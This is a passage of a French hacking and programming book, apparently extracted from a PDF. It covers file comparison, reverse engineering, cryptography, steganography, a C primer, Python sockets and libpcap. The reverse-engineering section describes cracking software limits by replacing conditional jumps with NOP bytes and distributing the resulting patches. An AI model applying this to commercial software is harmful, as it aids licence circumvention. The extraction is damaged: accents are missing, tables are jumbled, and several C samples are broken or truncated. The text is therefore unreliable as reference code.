Windows nous fournit la commande fc pour la comparaison des fichiers, elle
se trouve dans le rpertoire C:\Windows\Command et est accessible par l
invite de commandes Dos.
Ces options sont :
FC [/A] [/C] [/L] [/LBn] [/N] [/T] [/U] [/W] [/nnnn]
[lect1:][chemin1]fichier1
[lect2:][chemin2]fichier2
FC /B [lect1:][chemin1]fichier1 [lect2:][chemin2]fichier2
/A Affiche la 1re et dernire ligne de chaque ensemble de
diffrences.
/B Effectue une comparaison binaire.
/C Ignore la casse.
/L Compare les fichiers en tant que texte ASCII.
/LBn Dfinit le nombre maximal de diffrences conscutives comme
gal
au nombre de lignes spcifi.
/N Affiche les numros de ligne pour une comparaison ASCII.
/T Ne convertit pas les tabulations en espaces.
/U Compare les fichiers en tant que fichiers texte UNICODE.
/W Comprime les blancs (tabulations et espaces) pour la
comparaison.
/nnnn Spcifie le nombre de lignes conscutives qui doivent
correspondre
aprs une diffrence.

147

Unix, quant lui, nous fournit la commande diff qui sert comparer des
fichiers textes.
Voici un exemple de la commande fc sous Windows :
Jai plac dans un rpertoire ( c:\exemple\ ), 2 listes de mots chinois (leurs
phontiques en fait) qui ont quelques diffrences. Pour mettre en vidence leurs
diffrences, nous allons utiliser la commande fc.
Premirement, nous allons utiliser la commande dir sur le rpertoire o se trouvent les
fichiers pour tre sur quils ne sont pas semblables.

Nous avons maintenant lassurance que la liste de mots chinois a t modifie.


Voici ce qui les diffrencient :

148

Nous voyons clairement que dans la liste 2 (qui est en fait une mise jour) les mots
nai, nan, niao, nie, nin, ning, niu, no, nou ont t ajout.
Pour connatre leur signification, consultez un ouvrage de conversion francaischinois.

les diteurs hexadcimaux :


Les diteurs hexadcimaux que nous allons prsenter ont des fonctions de
comparaison de fichiers.

diverses techniques :
Il existe pleins dautre techniques de comparaison des fichiers dont je nai pas parl
comme la somme de contrle et des commandes permettant de dcouvrir les derniers
fichiers manipuls mais cela n'
entrent pas dans le sujet du chapitre.

le reverse enginneering
Le reverse enginneering est une technique qui consiste analyser un programme sous
la forme dexcutable et dont on a pas le code source. Le reverse enginneering peut
aussi bien servir patcher un programme dont l'
utilisation est limite dans le temps
ou dans le nombre d'
essais, il peut aussi servir scuriser un logiciel ou obtenir son
listing en assembleur dans le but de le modifier un peu ou de ladapter un
environnement spcial.
Il existe 2 manires d'
analyser un programme :le Dead Listing ou le Live Approach.

149

Le Dead Listing consiste dsassembler le programme pour obtenir son listing (code
source) en assembleur puis analyser ce dernier. Alors que le Live Approach consiste
tracer l'
excution du programme en mettant en place des points darrts (bpx,
bpm)
Maintenant, voyons les programmes utiliss pour faire du reverse enginneering.
En premier, il faut un :
- dsassembleur qui va d-compiler le programme pour nous donner le
listing de l'
excutable,
- un dbogueur qui va permettre de tracer l'
excution d'
un programme,
- un diteur hexadcimal; comme son nom lindique, il va nous permettre
d'
accder au fichier binaire de l'
excutable,
- un diteur de fichiers PE qui va nous permettre d'
obtenir quelques petites
informations sur l'
excutable,
- un logiciel nous permettant de connatre les processus en mmoire
(comme Procdump),
- il faudrait aussi un livre sur le langage assembleur, sur les symboles
,utiliss par Windows et sur ses fonctions systme,
- un loader.
Voici quelques logiciels et outils importants :
- dsassembleurs : Windasm

Les diteurs hexadcimaux :

UltraEdit

150

XVI32

diteurs de fichiers PE :

PE Explorer

151

Patcher :

Data Crack Engine

CodeFusion

152

- lassembleur : il nous faut un livre sur l'


assembleur et expliquant aussi
l'
architecture des processeurs et de la mmoire,
- les fonctions Windows,
- les symboles Windows,
- les attributs des sections des en-ttes des excutables.
Aprs cette masse de thories, un peu de pratique. Nous allons voir comment sont
crer les patchs (aussi bien pour dplomber les logiciels que pour les scuriser un peu
plus) puis il y aura quelques techniques permettant de contrer la dcompilation et les
techniques de cracking associes.

crer des patchs :


Dfinition :
- un patch est une rustine logiciel qui va modifier un/des octets des offsets
bien prcis dans le but de modifier le comportement du programme quand
il est soumis certaines actions.
- un keygen est un petit logiciel qui dtient lalgorithme de formation des
cls dactivation des logiciels commerciaux.
- Un offset est une adresse. L'
adresse d'
un octet (8 bits) se trouvant dans un
programme. Gnralement cet octet renvoie la valeur hexadcimale
d'
une instruction du programme. Comme nous venons de le voir, loffset
renvoie une adresse prcise, donc comment faire pour accder aux

153

autres octets de l'


instruction cible? Il suffit dincrmenter d'
une unit et
ainsi de suite loffset de base.
Maintenant, voyons comment patcher un programme.
La manire la plus simple d'
expliquer le reverse engineering serait d'
expliquer
comment dplomber des utilitaires ou des programmes dont l'
utilisation est limite (je
parle bien sr de challenges nomms Crackme et pas des logiciels
commerciaux !!!) car expliquer comment crer des patchs de scurit serait
impossible faire car il existe une trop grande varit de patchs (comme il existe une
trop grande varit de vulnrabilits dans les logiciels).
La technique la plus utilise pour rgler la dure de vie d'
un programme ou pour tout
autre type de bridage et de protection est ce que l'
on appelle les sauts conditionnels.
En assembleur, les sauts conditionnels sont les instructions du type jxx qui servent
comparer des lments ; si le test est valide alors on saute l'
adresse, au label ()
fourni en argument.
Lorsque l'
on trouve le saut conditionnel posant problme (dans le code source), il
suffit de remplacer lhexadcimal du saut conditionnel par lhexadcimal de
linstruction NOP.
Pour information, NOP a comme valeur hxadcimal : 90
Pour annuler un saut conditionnelle, il existe une deuxime solution qui consiste la
changer par une instruction faisant l'
inverse de l'
instruction utilise dans le
programme. En utilisant toujours les correspondances hexadcimale.
Il nous reste plus qu'
crer le patch servant modifier d'
autre programme semblable
et que l'
on diffusera.
Pour faire cela, on peut soit programmer une petite rustine en langage C ou en
langage assembleur qui ira loffset du saut conditionnel, modifiera les valeurs de
loctet par des valeurs fournis. On peut aussi utiliser des logiciels qui vont analyser le
logiciel d'
origine avec le logiciel craqu et qui vont produire le patch.
Pour clore le chapitre, nous allons voir certaines techniques de protection contre le
reverse enginnering.

la modification des attributs des sections de l'excutable :


Pour drouter certains crackers (reversers), on peut modifier manuellement ou l'
aide
de PE crypteurs les caractristiques des sections de l'
excutable. Cela peut aussi
permettre de crypter le code de l'
application, en plaant le point d'
entre du
programme (entry point) vers une section qui dtient une routine de dchiffrement du
code

154

le polymorphisme :
Le polymorphisme qui consiste modifier l'
aspect du code peut aussi tre utilis pour
rendre illisible le code pour un ventuel cracker. Cela peut passer par la cration d'
une
routine de chiffrement et de dchiffrement du code de l'
excutable.

les codes anti-debugging :


Voici certaines astuces protgeant un logiciel du dbogage ou de la d-compilation :
- la 1re mthode, consiste rechercher la prsence dun dboggeur ou d'
un
dsassembleur en mmoire ou sur le systme.
- La 2me mthode consiste analyser ce qu'
utilise les commandes des
dboggeurs
Exemples : la commande bpx utilise l'
interruption 3h, pour contrer cette
commande, il va falloir aller dtourner l'
interruption pour qu chaque fois
qu'
elle est utilise un code que l'
on aura cr soit excut.

Parades :
Il n'
y a pas de parade proprement dite contre l'
analyse les programmes l'
aide de la
rtro ingnierie. Car cela peut aller du cryptage du programme l'
aide PE encrypteurs
l'
utilisation de code anti-debbugging.

155

156

Cryptologie

157

Les procds cryptographiques existent depuis dj des centaines d'


annes. La
premire occurrence remonte Jules Csar qui, d'
aprs ce que l'
on dit, utilisait le
chiffrement par dcalage. Le vrai essor de la cryptographie (la science o l'
on tudie
les procds cryptographique mais aussi leur cration et leur scurit vis--vis
d'
environnements spcifiques) dbute aux deux guerres mondiales quand de grands
mathmaticiens mirent en oeuvre leurs connaissances pour produire des algorithmes
servant chiffrer des messages.

les bases de la cryptographie :


Qu'
est-ce qu'
un algorythme cryptographique ?
C'
est une suite logique de formules mathmatiques qui servent pouvoir chiffrer un
texte clair puis pouvoir dchiffrer le texte chiffr l'
aide de ce que l'
on appelle des
cls.
Pour ceux qui prfre les formules mathmatiques : soit CHcl( ) : l'
opration de
chiffrement l'
aide de la cl (note cl ), DEcl( ) : l'
opration de dchiffrements
l'
aide de la cl, xt : le texte clair et yt : le texte clair ayant t chiffr :
-

CHcl(xt) = yt
DEcl(yt) = xt
DEcl(CHcl(xt)) = xt

le chiffrement par dcalage :


Dans ce chiffrement, le but va tre d'
ajouter + cl aux correspondances
numriques des lettres du texte clair en noubliant pas les modulos: (mod 26).
Ici cl est un chiffre que lmetteur choisi ou non avec le destinataire.
Le dchiffrement va consister faire l'
opration inverse : donc une soustraction puis
le modulo.
Mathmatiquement, cela revient faire :
- CHcl(xt) = xt + cl mod 26
- DEcl(yt) = yt cl mod 26

Ici, xt et yt correspondent chaque caractre des textes clairs et chiffrs dont la


reprsentation numrique s'
tend de 0 25 soit [ 0, m-1 ] pour tre plus gnrale.
( m reprsente le nombre de caractres de lalphabet dans lequel on fait la conversion

158

).

le chiffrement affine :
Le chiffrement affine et le chiffrement par dcalage ont la mme souche, le mme
base : la substitution.
Pour le comprendre leurs similitudes, analysons les fonctions de cryptage et
dcryptage du chiffrement affine.
Soit xt un caractre du texte clair et yt un caractre du texte chiffr :
- CHcl(xt) = a.xt + b mod 26
- DEcl(yt) = 1/a (yt b) mod 26

Avant de terminer cette partie sur le chiffrement affine, nous allons voir la manire
dont on calcul le nombre de cls possibles pour crypter un message avec ce
chiffrement. Tout dpend de m car, dans un premier temps, il va nous falloir calculer
les valeurs possibles de a lorsque le pgcd (a, m) = 1 (aidez vous du thorme de
Bezout) . Il ne faut retenir que les valeurs de a comprise entre [ 0, m-1 ]. Ensuite il
va falloir compter le nombre de valeurs retenues. Pour finir, il faut multiplier le
rsultat prcdent par m. Le produit est le nombre de cls possibles.
Gnralement m = 26 ( les 26 lettres de l'
alphabet ).

chiffrement par substitution :


Malgr le nom de ce chiffrement qui ferait penser procder cryptographique
complexe, le chiffrement par substitution consiste en la cration d'
une suite
alphabtique choisi avec le destinataire (et n'
tant pas dans l'
ordre conventionnel : A,
B, C, , X,Y,Z) . Ensuite il va falloir superposer cette suite sur lalphabet normal
(dans l'
ordre conventionnel) et faire les transformations.

chiffrement par permutation :


Contrairement au chiffrement par substitution, on va seulement couper le message
transmettre ( xt ) en bloc de lettres de mme taille et inter-changer leur place grce
des rgles pralablement tablient

chiffrement en chane :
Dans les chiffrements classiques, on utilise une cl statique pour chiffrer et dchiffrer
chaque caractre des textes. Dans un chiffrement en chane, la cl change chaque
caractre car il y a eu une gnration d'
un nombre de cls gale au nombre de
caractres dans le message. Mathmatiquement, cela se traduit par
CHcl(xt) = yt

159

et
DEcl(yt) = xt

pour les chiffrements par blocs et par


CHk(xt) = yt

et
DEk(yt) = xt

pour les chiffrements en chane; soit k une cl changeant chaque caractre donc
chaque utilisation de la cl.
Il existe 2 types de chiffres en chane : le chiffrement synchrone et le chiffrement
asynchrone.
Pour plus d'
informations sur les diffrents types de chiffrement et sur la cryptographie
en gnral, rfrez-vous des livres traitant de ce sujet. Car cela dpasse le cadre de
ce livre.

Cryptanalyse
La cryptanalyse est un domaine de la cryptologie o l'
on essaie de trouver une faille
dans un systme cryptographique dans le but de dcouvrir la cl utilise ou de lire le
texte clair. La cryptanalyse est aussi utilise pour vrifier la sret d'
un algorithme
cryptographique.
La cryptanalyse d'
un algorithme cryptographique peut dbuter partir de n'
importe
quel support, les plus connus sont :
- texte chiffr connu: o il va falloir analyser le texte dans le but de
dcouvrir sa correspondance en clair l'
aide de techniques de
cryptanalyse que nous allons voir,
- texte clair et chiffre connu: o l'
on va essayer l'
aide des 2 textes de
dcouvrir la cl et lalgorithme,
- texte clair et un accs direct ou indirect l algorithme: dans le but de
comprendre le fonctionnement de l algorithme,
- texte chiffr choisi et un accs direct ou indirect l'
algorithme: pour
pouvoir comprendre le fonctionnement de lalgorithme.
Maintenant, nous allons voir deux techniques de cryptanalyse :
-

l'
analyse des frquences : il va falloir compter le nombre d'
apparitions de
chaque lettre de l'
alphabet dans le(s) texte(s) chiffr(s) et les comparer
avec les probabilits d'
apparition de chaque lettre de la langue du texte
clair en se basant sur des tableaux de frquences.

160

l'
analyse diffrentielle : elle ne peut tre pratique quen possession ou en
ayant un accs directe ou indirecte l'
algorithme cryptographique, il va
falloir choisir un texte clair comprenant, au mieux, toutes les lettres de
l'
alphabet et voir aprs passage dans l'
algorithme sa correspondance en
crypt.

Les algorithmes cryptographiques


Il existe plusieurs algorithmes de cryptographie (comme le DES, le AES et le
3DES) qui sont diviss en 2 familles.

les algorithmes de cryptographie symtriques (ACS) :


Ce sont des algorithmes qui vont utiliser la mme cl pour chiffrer et dchiffrer le
message voulant tre crypt.

les algorithmes de cryptographie asymtriques (ACA) :


Contrairement aux ACS, le ACA vont utiliser 2 cls diffrentes: une pour chiffrer,
lautre pour dchiffrer.
La cl de chiffrement est appele cl publique et sert crypter les messages. La cl de
dchiffrement est appele cl prive et sert dchiffrer les messages crypts avec la
cl publique.
Ces 2 cls sont mathmatiquement lies. Cest pour cela quon ne peut dchiffrer un
message ayant t chiffr avec une cl publique nappartenant pas la personne qui
lon envoie le message.

La stganographie
La stganographie est un domaine de la cryptographie o lon va cacher les donnes
transmettre une/des personne(s) dans des fichiers qui paraissent anodins (comme les
images)
Pour crire des messages dans une image, il va falloir un diteur hexadcimal et
limage choisie. Ouvrez limage avec lditeur hexadcimal, recherchez les zones de
padding (une suite de chiffres 0 dans la zone hexadcimale) et remplacez-les par le
message voulu (cela peut parfois dgrader limage).
Cela peut aussi marcher avec des excutables (qui contiennent de trs grandes suites
de 0).

161

Pour apporter un peu plus de scurit nos messages cachs, vous pouvez crypter ces
derniers avant de les cacher.
Vous pouvez maintenant envoyer des messages cachs (et crypts).
Pour pouvoir retrouver le message, votre destinataire va devoir ouvrir limage (ou
autre), avec un diteur hexadcimal, se rendre loffset o vous avez plac le
message et lire ce dernier.
Maintenant, vous pouvez envoyer des messages cachs, les mettre sur des sites (par
exemple comme arrire-plan dune page pour que votre/vos destinataire(s) puissent y
accder). De plus cette mthode est pratiquement indtectable car trs peu de
personnes samusent ouvrir avec un diteur hexadcimal, une image quils trouvent:
surtout quand ce sont des images utilises comme arrire-plan de pages web.

162

163

Partie III :
Programmation rseau

164

Dans cette partie du livre, nous allons voir les bases de la programmation rseau.
En premier, il y aura un aide-mmoire du language C qui survolera les notions les
plus importantes. Pour apprendre ce language trs important, je vous conseille
vivement de vous procurer un livre sur le C.
Le language C est un language compil et de haut niveau qui est trs puissant et a
entre autre servit dvelopper les systmes UNIX / LINUX. Ce language a t cr
par Denis Richie.
En deuxime, il y aura une prsentation des principales fonctions rseaux de Python.
Le language Python est un language interprt et de haut niveau. Il est aussi orient
objet (comme le C++). Il est simple dapprentissage et dutilisation.
En troisime, on verra quelques fonctions de la libpcap.
Pour finir, il y aura 2 chapitres sur Winsock.

165

166

Le language C
Structure dun programme en C
Le code source dun programme C suit certaines rgles de structuration facilitant les
activits du pr-processeur et du compilateur.
Nous allons tudier cette structuration laide dun programme.
# include <stdio.h>
void afficheur(char a);
{
char t = a;
printf( %c\n , t);
}
main( )
{
char a;
printf ( Entrez un caractre:\n ) ;
scanf ( %c , &a) ;
afficheur (a) ;
return 0 ;
}

Un programme en C commence toujours par lutilisation des directives du prprocesseur (un programme qui va conditionner la compilation). La directive utilise
ici demande au pr-processeur dinclure le fichier den-tte pass en argument.
Puis on a dclar une fonction qui accepte un argument et qui a pour but de lafficher
laide de printf( ) qui est dfini dans le fichier den-tte.
Pour finir, on entre dans la fonction principale : main( ).
Cette fonction est obligatoire car les programmes commencent et finissent par elle ;
de plus, cest partir de cette fonction que lon appelle les fonctions dclares et
dfinies avant main( ).
On peut parfois passer des arguments main( ) (lorsque lon appelle les programmes
partir dun shell par exemple).
Pour les rcuprer, on va utiliser argc et argv :
- argc a comme valeur le nombre dargument pass main(
). argc ne peut tre infrieur 1 car le nom du programme
est toujours envoy.

167

argv[] est un tableau contenant les caractres passs


comme arguments. argv[0] est le nom du programme.

Exemple :
int main(int argv,char*argc[])
{

if(argv <= 1 || argv > 4)


{

}
if(argc>3)
{
dest =gethostbyname(argc[1]);

Les bases
Les commentaires
Commenter ses codes de programmes est trs important surtout si lon souhaite
pouvoir lamliorer dans les semaines ou annes qui suivent son criture ou si lon
souhaite le publier sous la licence GPL.
Cela permet de savoir quoi sert telle ou telle partie du code.
Pour commenter son code, le C nous propose 2 lments dont voici les syntaxes :
Syntaxe :

/* Ceci est un commentaire */

Syntaxe :

// est un commentaire

Le premier offre la possibilit dtaler son commentaire sur plusieurs lignes.


Le deuxime ne peut tenir que sur une ligne et suit une instruction.

Les types de donnes


void

char

Types

Reprsentation
cest un type vide (en fait, cela veut dire
que llment auquel il est associ na
pas de type). Il est beaucoup utilis avec
les fonctions et avec certains types de
pointeurs.
type utilis pour les caractres.

168

wchar_t
int
float
double

type utilis pour les caractres longs.


type utilis pour les entiers.
type utilis pour les rels.
type utilis pour les rels tant en double
prcision.
type utilis pour les entiers longs.
type utilis pour les entiers courts.
type utilis pour les rels tant en
quadruple prcision.

long int
short int
long double

Chaque type peut tre sign ( signed ) ou non sign ( unsigned ).

les variables
Quest-ce-quune variable ?
Et bien, une variable est une suite de caractres significatifs pointant vers une zone
mmoire contenant des donnes (valeur de la variable) et allant tre utilises par le
programme.
La suite de caractres utilise pour identifier la variable suit certaines conventions :
- elle doit tre alphanumrique et peut contenir le caractre
de soulignement bas ( _ ).
- les mots cls utiliss par le C (instructions, fonctions)
ne peuvent tre utiliss comme nom de variable.
- la 1re lettre de la variable ne peut tre un chiffre.
La dernire convention est plus une particularit du language C, elle concerne la casse
que respecte le C. Cela veut dire que ce dernier fait la diffrence entre les minuscules
et les majuscules.
Exemple :
language , Language et LANGUAGE dsignent 3
variables diffrentes.

Dclaration et initialisation
Pour dclarer des variables (ce qui est obligatoire avant de les utiliser, sinon la
compilation on verra apparatre un beau petit message derreur), on doit crire le type
de la variable suivi de son nom.
Syntaxe :

type nom_de_la_variable ;

Pour initialiser une variable, il faut utiliser loprateur daffectation qui est le signe
gal ( = ). A la gauche de loprateur doit se trouver la variable, la droite, la
valeur que doit contenir la variable.

169

Syntaxe :

nom_de_la_variable = valeur ;

Pour information, on peut dclarer puis initialiser les variables ou faire ces 2 actions
simultanment.

Les types de variables


Il existe plusieurs types de variables.
Nous allons en voir 2 : les constantes et les registres.
Une constante est une variable spciale. Sa particularit est que sa valeur ne change
pas tout au long du programme. Pour dclarer des constantes, il faut suivre le modle
suivant :
Syntaxe :

const type

nom_de_la_variable;

Parfois, il vaut mieux placer une variable dans lun des registres du processeur au lieu
de le placer en mmoire. Cela est possible grce au mot cl register . Pour dclarer
une variable registre, il faut suivre le modle suivant :
Syntaxe :

register type

nom_de_la_variable;

La porte des variables


En fonction de lendroit o elle est dclare, une variable peut tre accessible ou non
par les fonctions du programme.
Il existe principalement 2 types de variables : les globales et les locales.
Les variables globales (ou encore externes ) sont des variables indpendantes de
toutes fonctions : leur porte stend donc lensemble du programme (qui doit tenir
sur un seul fichier source sinon il faudrait utiliser un autre type de variables). Elles
sont accessibles par toutes les fonctions.
Alors que les variables locales sont dpendantes dune fonction. Seule cette fonction
peut y accder.

Les tableaux
Un tableau est un lment presque semblable aux variables.
Similitudes
- Ils sont identifis (rfrencs)

170

Diffrences
- les tableaux pointent vers un

groupe de zones mmoires (o


chaque lment est accessible
laide dun numro qui dtermine
sa place dans le tableau).

par des noms.


- Les noms utiliss pour les
identifier suivent les mmes
rgles de cration.

Il existe diffrents types de tableaux :


- les tableaux une dimension.
- les tableaux plusieurs dimensions.
Pour dclarer un tableau, il faut suivre le modle suivant :
Syntaxe :

type

nom_du_tableau[x];

Soit x le nombre maximal dlments dans le tableau.

Instructions
Syntaxe

Le test if:

if (test)
{
bloc_instructions;
}

Le test if et la clause else :


if (test)
{
bloc_instructions1;
}else{
bloc_instructions2;
}

Le test if et la clause else if :


if (test)
instructions1;
else if (test2)
instructions2;

La boucle for :
for (debut; fin; pas)
instruction;

ou

Explications
Il permet de faire un saut conditionnel.
Cela veut dire que si le test russi, le
programme va excuter les instructions
dans le bloc puis continuer jusqu la fin
de main( ), sinon il continu le
programme sans excuter le bloc.
Permet de faire un saut conditionnel.
Cela veut dire que si le test russi, le
programme va excuter les instructions
du bloc 1 puis continuer jusqu la fin de
main( ), sinon il va excuter les
instructions du bloc 2 puis continuer
jusqu la fin de main( ).
Permet de faire un saut conditionnel. On
fait plusieurs tests : linstruction excut
est celui qui suit directement le test qui
est vrai.

Permet de faire une boucle qui va


excuter une instruction ou un bloc
dinstructions un nombre dtermin de
fois. Cest une instruction puissante et
utile.

171

for (debut; fin; pas)


{
bloc_instructions;
}

La boucle while :

Permet de faire une boucle qui va


excuter une instruction ou un bloc
dinstruction tant que la condition est
vraie.

while (condition)
instruction;

ou
while (condition)
{
bloc_instructions;
}

La boucle do/while :

Permet de faire une boucle qui va


excuter une instruction ou un bloc
dinstructions tant que la condition est
vraie.

do
instruction;
while (condition);

ou
do
{
bloc_instructions;
} while (condition);

Sa particularit est quelle excute


linstruction ou le bloc dinstruction
avant que la condition soit teste.

Pour information, la boucle while fait linverse de do/while : elle teste la condition
avant dexcuter linstruction ou le bloc dinstruction.

Les notions avances


Les pointeurs
Un pointeur est une variable spciale: sa valeur est en fait ladresse mmoire dune
autre variable. Pour faire plus court: un pointeur est une variable qui pointe vers une
autre variable.
Pour dclarer un pointeur, il faut suivre le modle suivant :
Syntaxe :

type

*nom_du_pointeur;

Pour information, pour accder aux lments suivant et prcdant llment que
pointe le pointeur, il faut incrmenter/dcrmenter le pointeur laide de + + ou -Syntaxes :

pointeur++

ou

pointeur--

Quelques prcisions :

172

nom_du_pointeur : est un pointeur qui pointe vers

ladresse dune variable.


*nom_du_pointeur : est un pointeur qui pointe vers le
contenu dune variable.
&nom_du_pointeur : retourne ladresse de la variable.

Les structures
Une structure est un lment qui permet de regrouper des variables, des tableaux
Ces derniers seront utiliss pour accomplir certaines tches spcifiques.
Les structures sont trs souvent utilises pour enregistrer des donnes quelconques et
de types diffrents.
Pour dfinir une structure, il faut suivre le modle suivant :
Syntaxe :

struct nom {
variable1;
variable2;

On ne peut pas encore utiliser la structure car on la seulement dfinie : il faut la


dclarer.
Et oui! nom nest pas une variable structure, on peut le considrer comme un type.
Pour dclarer une variable structure, il faut suivre le modle suivant :
Syntaxe :

struct nom var1[,var2,];

Les variables dclares dans une structure sont appeles membres dune structure .
Lorsque lon veut accder aux membres dune structure, il faut utiliser loprateur
point ( . ).
Syntaxe :

var1.membre_name;

Pour information, il existe dautres types de structures dont :


- les structures qui ont comme membres dautres
structures.
- les tableaux de structures. La particularit de ces
structures est que chaque lment du tableau de structures
est une structure.
De quoi donner des migraines lors de ltude de codes sources intgrant ces types de
structures.

173

Maintenant, voyons dautres lments semblables aux structures: les unions.


Leur particularit est que lon accde leurs membres un un, alors que lon peut
accder aux membres dune structure en mme temps.
Pour dfinir des unions, il faut suivre le modle suivant :
Syntaxe :

union nom {
variable1;
variable2;

Pour les dclarer, il faut suivre le modle suivant :


Syntaxe :

union nom var1[,var2,];

Le pr-processeur
Le pr-processeur C travaille avant le compilateur. Il a pour but de traiter les
directives se trouvant au dbut du code source.
Voyons diverses directives :
#define x y
#undef x
#include <xxx>

#if

premiere_condition

#elif deuxieme_condition

#else

#endif

spcifie au pr-processeur de remplacer x


par y dans le code source.
spcifie au pr-processeur de ne plus
remplacer x par y dans le code source.
spcifie au pr-processeur dinclure des
fichiers au code source. Gnralement se
sont des fichiers den-tte qui sont inclus.
Comme linstruction if/else. Ces
directives spcifie au compilateur (par
lintermdiaire du pr-processeur) de
faire telles ou telles actions en fonction
du test effectu.
Par exemple : elles permettent de
compiler des parties du code en fonction
de la nature du systme dexploitation
(Windows, linux).

Les fonctions

174

Une fonction est une suite de code qui est crit pour un but prcis, qui est identifie
(rfrence) par un nom et qui a la particularit dapporter une certaine modularit
dans le code.
Notions importantes sur les fonctions:
-

Il existe dj des fonctions spcifiques au C (comme


printf( )). Leur nom ne peut donc tre utilis pour
nommer nos propres fonctions.
Une fonction peut accepter ou non des arguments.
Une fonction peut renvoyer ou non des lments.
On passe les arguments la fonction lors de son appel.
Une fonction est soit itrative (les instructions sexcutent
la suite) soit rcursives (la fonction peut sappeler).

175

176

Python et les sockets


Voici une petite liste (dans lordre alphabtique) des mthodes quutilisent les
sockets. Car le language Python est orient objet et supporte donc les notions de
classes, polymorphisme comme le language C++.
Voici cette liste :
socket.accept()
socket.bind(addresse)
socket.close()
socket.connect(addresse)
socket.fileno()
socket.gethostbyname(hostname)
socket.gethostname()
socket.getpeername()
socket.getsockname()
socket.getsockopt()
socket.listen(max_connexions)
socket.recv(data_size)
socket.recvfrom(data_size)
socket.send(donnes)
socket.sendto(donnes, addresse_distante)
socket.setblocking(flag)
socket.setsockopt()
socket(socket_famille, type[, protocole])

socket.accept()
Cette mthode accepte une connexion sur le socket.
Exemple :

sock_client,adr = socket.accept()

socket.bind(adresse)
Cette mthode affecte un nom et un port un socket.
Exemple :

socket.bind(("",1024))

socket.close()
Cette mthode ferme un socket.

socket.connect(adresse)

177

Cette mthode permet un client de se connecter un serveur.


Exemple :

socket.connect(("serveur.com",1024))

socket.fileno()
Cette mthode retourne un descripteur de fichier.

socket.gethostbyname(hostname)
Cette mthode permet dobtenir ladresse IP de la machine qui appartient le nom
dhte pass en argument.

socket.gethostname()
Cette mthode permet dobtenir le nom de la machine sur laquelle elle est employe.

socket.getpeername()
Cette mthode retourne le nom de la machine se trouvant lautre extrmit du
socket.

socket.getsockname()
Cette mthode permet dobtenir ladresse et le port utilis par le socket. Il renvoie ces
lments sous forme de liste : (ipadr, port).

socket.getsockopt()
Cette mthode permet dobtenir les options du socket.

socket.listen(max_connexions)
Cette mthode permet de forcer un serveur couter un port dans lattente dune
connexion. Largument pass la fonction est le nombre de connexions que doit
accepter le serveur.
Exemple :

socket.listen(10)

178

socket.recv(data_size)
Cette mthode permet de recevoir des donnes de la machine se trouvant lautre
bout du socket. Largument pass la fonction est la taille des donnes devant tre
rcupres.
Exemple : tm = s.recv(1024)

socket.recvfrom(data_size)
Comme la prcdente mais sutilise avec le protocole UDP.

socket.send(donnes)
Cette mthode permet denvoyer des donnes la machine se trouvant lautre bout
du socket.

socket.sendto(donnes, addresse_distante)
Comme la prcdente mais sutilise avec le protocole UDP. Le deuxime argument
pass la fonction est ladresse qui va recevoir les donnes.

socket.setblocking(flag)
Affecte au socket les modes blocking ou nonblocking.

socket.setsockopt()
Cette mthode permet de mettre des options sur le socket.

socket(socket_famille, type[, protocole])


Cette fonction cr un socket.
La famille de socket est gnralement AF_INET.
Les types de sockets sont gnralement :
- SOCK_STREAM (tcp)
- SOCK_DGRAM (udp)
- SOCK_RAW (pour les raw sockets).

179

180

La libpcap
Nous allons ensemble voir quelques fonctions rseau que nous fournit la libpcap.
Cette bibliothque de fonctions a t dveloppe par le groupe ayant cr le clbre
sniffer TCPdump.

char pcap_lookupdev(char *err);


Elle retourne le nom de linterface rseau pouvant tre utilise par la fonction
pcap_open_live(). Le paramtre de la fonction est un message derreur expliquant que
la fonction na pas russie si cette dernire ne peut dfinir linterface.

int pcap_lookupnet(char *dev, bpf_u_int32 *net, bpf_u_int32


*mask, char *err);
le 1er paramtre est la variable contenant linterface rseau utiliser.
Le 2me est un pointeur sur un entier de type bpf_u_int. Cet entier va contenir
ladresse rseau de linterface choisie.
Le 3me est aussi un pointeur sur un entier de type bpf_u_int. Cet entier va contenir
ladresse du masque rseau de linterface choisie.
Le 4me est une chane derreur.
A lappel de cette fonction, les paramtres 2 et 3 auront une valeur, pas avant !

pcap_t *pcap_open_live(char *dev, int snaplen, int promisc, int


to_ms, char *err);
Le 1er paramtre doit tre une chane contenant linterface rseau choisie.
Le 2me est le nombre maximum doctets capturer sur les paquets passant par
linterface: donc par le sniffer.
Le 3me paramtre permet de mettre ou non linterface rseau en mode promiscuit.
Le 4me paramtre permet de spcifier un timeout de lecture des paquets.
Le 5me paramtre est une chane contenant un message derreur.

181

Il y a une autre fonction pratiquement semblable pcap_open_live( ): cest


pcap_t *pcap_open_offline(const char *file, char *err); qui met les paquets
capturs dans un fichier que lon pourra consulter aprs la capture.
Avant pcap_open_live() on voit un lment nouveau qui est en faite une structure
dfinie dans pcap.h. Cette structure comme vous avez du le remarquer est : pcap_t.

void pcap_close(pcap_t );
Cette fonction arrte la capture de paquets partir du descripteur pass en argument
la fonction.
void pcap_close(pcap_t *p)
{
/*XXX*/
if (p->fd >= 0) {
#ifdef linux
pcap_close_linux(p);
#endif
close(p->fd);
}
if (p->sf.rfile != NULL) {
if (p->sf.rfile != stdin)
(void)fclose(p->sf.rfile);
if (p->sf.base != NULL)
free(p->sf.base);
} else if (p->buffer != NULL)
free(p->buffer);

pcap_freecode(&p->fcode);
free(p);

int pcap_loop(pcap_t, int cnt, pcap_handler callback, u_char


*user_data);
Cette fonction lit cnt paquets du descripteur de paquets pcap_t puis passe le tout la
fonction callback avec comme argument user_data .
callback traitera le paquet et laffichera si le dveloppeur de lapplication le souhaite.
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
register int n;
for (;;) {
if (p->sf.rfile != NULL)

182

else {

n = pcap_offline_read(p, cnt, callback, user);


/*
* XXX keep reading until we get something
* (or an error occurs)
*/
do {
n = pcap_read(p, cnt, callback, user);
} while (n == 0);

}
if (n <= 0)
return (n);
if (cnt > 0) {
cnt -= n;
if (cnt <= 0)
return (0);
}

const u_char* pcap_next(pcap_t *p, struct pcap_pkthdr


*header);
Cest cette fonction qui va nous permettre de capturer les paquets aprs que la
fonction pcap_open_live( ) est t utilise.
Le 1er paramtre est le descripteur utilis avec la fonction pcap_open_live( ) .
Le 2me paramtre est un pointeur sur une structure qui va contenir les en-ttes du
paquet captur. Cette structure est dfinie dans le fichier pcap.h.
Voici de quoi elle se compose :
struct pcap_pkthdr {
struct timeval ts;
bpf_u_int32 caplen;
bpf_u_int32 len;
};

/* time stamp */
/* length of portion present */
/* length this packet (off wire) */

